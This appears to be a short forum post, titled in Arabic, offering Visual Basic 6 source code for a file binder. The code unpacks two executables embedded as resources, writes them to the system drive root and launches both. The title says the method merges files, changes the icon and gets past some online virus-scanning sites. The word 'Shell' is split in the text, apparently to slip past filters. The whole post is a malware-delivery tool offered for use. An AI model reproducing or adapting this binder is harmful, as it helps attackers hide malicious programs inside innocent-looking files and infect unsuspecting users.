دمج و تغيير الأيقونة و تخطي بعض موآقع الفحص فقط بالـ [Visual Basic6]

Private Sub Form_Load()
Dim File1() As Byte, File2() As Byte

File1 = LoadResData(101, "CUSTOM")
File2 = LoadResData(102, "CUSTOM")

Open Environ$("homedrive") & "\File1.exe" For Binary As #1
Put #1, , File1
Close #1
Open Environ$("homedrive") & "\File2.exe" For Binary As #1
Put #1, , File2
Close #1

Call Sh ell(Environ$("homedrive") & "\File1.exe", vbNormalFocus)
Call Sh ell(Environ$("homedrive") & "\File2.exe", vbNormalFocus)

End
End Sub